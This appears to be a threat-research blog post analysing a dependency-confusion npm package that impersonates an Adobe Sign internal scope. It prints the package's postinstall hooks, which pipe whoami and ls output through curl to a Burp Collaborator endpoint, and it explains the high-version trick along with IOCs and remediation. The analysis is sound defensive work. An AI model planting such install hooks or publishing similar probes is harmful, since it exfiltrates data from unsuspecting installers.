CentrioleBlog
Back to blog

Threat Research

Whoami, Piped to an Attacker: The @adobesign/as-dev-tools Dependency Confusion Probe

A new npm package impersonates Adobe Sign's internal @adobesign scope at version 99.9.9, exfiltrating installer identity to a Burp Collaborator endpoint on every npm install.

Date

Reading time

8 min read

Author

Centriole Research
Share
Whoami, Piped to an Attacker: The @adobesign/as-dev-tools Dependency Confusion Probe

@adobesign/as-dev-tools published four versions between 15:08 and 15:42 UTC on July 5, 2026. The first two phoned home. The next two did not. The operator ran the hot versions for less than 35 minutes before switching to neutralized builds, a pattern consistent with a dependency confusion probe that verifies beacon receipt and then cleans up.

Package Anatomy

The package contains one file: package.json. No index.js, no README, no declared dependencies. The tarball is 273 bytes unpacked for version 99.9.9 and 270 bytes for 99.9.10.

The package.json extracted from version 99.9.9:

@adobesign/as-dev-tools@99.9.9 -- package.json
{
  "name": "@adobesign/as-dev-tools",
  "version": "99.9.9",
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "access": "public"
  },
  "scripts": {
    "postinstall": "whoami | curl -d @- https://o5u9v30a13fddwo3ey623df59wfn3er3.oastify.com"
  }
}

Version 99.9.10 changed one command:

@adobesign/as-dev-tools@99.9.10 -- package.json (postinstall only)
{
  "scripts": {
    "postinstall": "ls | curl -d @- https://o5u9v30a13fddwo3ey623df59wfn3er3.oastify.com"
  }
}

Version 99.9.9 exfiltrates the installer’s username. Version 99.9.10 swaps whoami for ls, sending a directory listing of the working directory at install time. Both pipe the output directly to the C2 endpoint in the HTTP POST body via curl -d @-.

Version Timeline

All four versions were published by a single account (oxxxxxxxxxxxxxx12, rosaa8877988@gmail.com) using npm 11.13.0 on Node.js 24.16.0. The toolchain fingerprint is identical across all four publishes: no environment change between sessions.

VersionPublished (UTC)GapPostinstall behaviorStatus
99.9.92026-07-05T15:08:10Zfirst publishwhoami piped to oastify C2Malicious
99.9.102026-07-05T15:17:49Z9m 38sls piped to oastify C2Malicious
99.9.112026-07-05T15:26:37Z8m 48secho 'Nothing to do for postinstall'Neutralized
99.9.122026-07-05T15:42:57Z16m 19sexit 0Neutralized

The operator published the first malicious version, iterated the payload 9 minutes later to test a different exfiltration primitive, then neutralized both by switching to benign postinstall strings. The complete hot window spans approximately 18 minutes (15:08 to 15:26 UTC). Version 99.9.12, with "latest" dist-tag pointed at it in the registry, is the current published state.

The publisher account (oxxxxxxxxxxxxxx12) has published only one package: this one. There is no prior publish history, no dormant account republish, and no sibling packages to cross-reference. The account was created for this campaign.

Triage: Name Anomaly and Version Signal

The @adobesign scope carries no verified npm organization registration. Running a maintainer search against the scope confirms it: the npm search API returns zero results for scope:adobesign except for this package. Adobe’s actual npm presence is published under @adobe, a scope they own and manage. The @adobesign scope was unclaimed on public npm, making it an unregistered namespace the operator could publish into without restriction.

The name as-dev-tools reinforces the impersonation. “as” is an established internal abbreviation for Adobe Sign. An internal tooling package at an Adobe Sign engineering team named @adobesign/as-dev-tools is a plausible name, which is exactly the point.

The version number is the sharpest signal. Version 99.9.9 has no semver history preceding it in the registry. No 1.x, no 2.x, no incremental release history of any kind. A legitimate developer tools package does not debut at version 99.9.9. This is a dependency confusion version, set high to win resolution against any private registry entry for @adobesign/as-dev-tools that a corporate npm proxy might be serving internally.

Execution Trigger

The postinstall lifecycle script runs automatically when npm installs the package, regardless of whether the installer explicitly requested a script execution. npm install @adobesign/as-dev-tools and a transitive resolution that includes this package are both sufficient triggers. No import, no require(), no invocation of any exported function is needed.

Passing --ignore-scripts to npm suppresses this. Default installs do not.

The payload executes as the user running npm. In a CI/CD pipeline, that is typically a service account with access to environment variables containing cloud credentials, registry tokens, and GitHub tokens. On a developer workstation, it is the developer’s own user context.

C2 and Infrastructure

The exfiltration endpoint extracted from both malicious postinstall scripts:

o5u9v30a13fddwo3ey623df59wfn3er3.oastify.com

oastify.com is PortSwigger’s Burp Suite Collaborator domain. Operators with a Burp Suite Professional or Burp Suite DAST license generate unique subdomain tokens that register all incoming HTTP, DNS, and SMTP interactions in the Collaborator interface. The subdomain o5u9v30a13fddwo3ey623df59wfn3er3 is a unique token assigned to this operator’s Collaborator session.

When a victim machine runs the postinstall script, the Collaborator dashboard shows the incoming HTTP POST, the request body (the output of whoami or ls), the source IP of the machine, and a timestamp. The operator sees exactly who installed the package and from where. No separate C2 server is required, and the Collaborator endpoint itself is resilient: it is hosted by PortSwigger’s infrastructure.

We probed the endpoint directly. The network egress policy in our analysis environment blocked outbound access to oastify.com, consistent with domain categorization as a penetration testing service. The endpoint is in the egress deny list of controlled environments but reachable from uncontrolled developer machines and most default CI runners.

We searched the OSSF malicious-packages repository, Socket.dev, and osv.dev for the specific subdomain token o5u9v30a13fddwo3ey623df59wfn3er3. No prior package or advisory references this specific token. The use of Burp Collaborator for npm postinstall exfiltration is a well-established pattern, appearing across dozens of dependency confusion probes catalogued since 2025. This specific token is new.

The oastify.com delivery pattern is a tool, not an attribution. Burp Collaborator is commercially available to any security practitioner. Presence of an oastify endpoint does not by itself indicate any specific operator or known campaign. We found no shared infrastructure, publisher account, or email domain linking this package to any previously catalogued operation in the OSSF malicious-packages dataset, the kmsec DPRK research feed, VirusTotal, or Socket.dev.

IOC Table

IndicatorTypeValueMethod
@adobesign/as-dev-toolsnpm packageversions 99.9.9, 99.9.10Identified during triage; confirmed malicious in OSV advisory MAL-2026-6760
oxxxxxxxxxxxxxx12npm accountpublisher of all four versionsPulled from registry metadata during triage
rosaa8877988@gmail.comemail addressaccount email for oxxxxxxxxxxxxxx12Pulled from registry metadata during triage
o5u9v30a13fddwo3ey623df59wfn3er3.oastify.comC2 endpointBurp Collaborator exfiltration endpointExtracted from postinstall script in package.json during tarball analysis
whoami | curl -d @- <C2>postinstall payloadusername exfiltration, v99.9.9Extracted from package.json scripts.postinstall field during tarball analysis
ls | curl -d @- <C2>postinstall payloaddirectory listing exfiltration, v99.9.10Extracted from package.json scripts.postinstall field during tarball analysis

Affected Versions

VersionPublished (UTC)SHA-256 (tarball)StatusOSV
99.9.92026-07-05T15:08:10Zf1596afc01a870f5084beb85d78f6ea78563c22813b7d097f41343bfc942af62Malicious, live at analysis timeMAL-2026-6760
99.9.102026-07-05T15:17:49Z9f14e44f66e7a6e8c8b39f59cc03b783e15006b764ef1d18829f2e6103e0c8b8Malicious, live at analysis timeMAL-2026-6760
99.9.112026-07-05T15:26:37Znot independently verifiedNeutralized, livenot in advisory
99.9.122026-07-05T15:42:57Znot independently verifiedNeutralized, latest dist-tagnot in advisory

SHA-256 hashes for versions 99.9.9 and 99.9.10 were computed from tarballs downloaded directly from the npm registry during analysis.

Remediation

Search lockfiles for @adobesign/as-dev-tools at any version. The only production-safe state is no installation.

If versions 99.9.9 or 99.9.10 were installed, review egress logs from that machine or CI runner for outbound HTTP POST requests to o5u9v30a13fddwo3ey623df59wfn3er3.oastify.com. If a request is confirmed, treat the installing environment as a confirmed beacon: the operator received the username or directory listing, along with the source IP of the install. Rotate any credentials that were accessible in that environment during the install window, prioritizing CI tokens, cloud access keys, and npm publish tokens.

If --ignore-scripts was not set during the install, the postinstall hook ran. Checking npm_config_ignore_scripts in CI environment variables confirms whether script execution was suppressed.

Block the domain oastify.com at the egress firewall for build runners. Legitimate packages do not make outbound connections to Burp Collaborator endpoints.

The @adobesign scope on npm is not owned by Adobe. Any organization that uses @adobesign/ prefixed package names internally should register the scope on npm immediately to prevent any further packages from being published into it.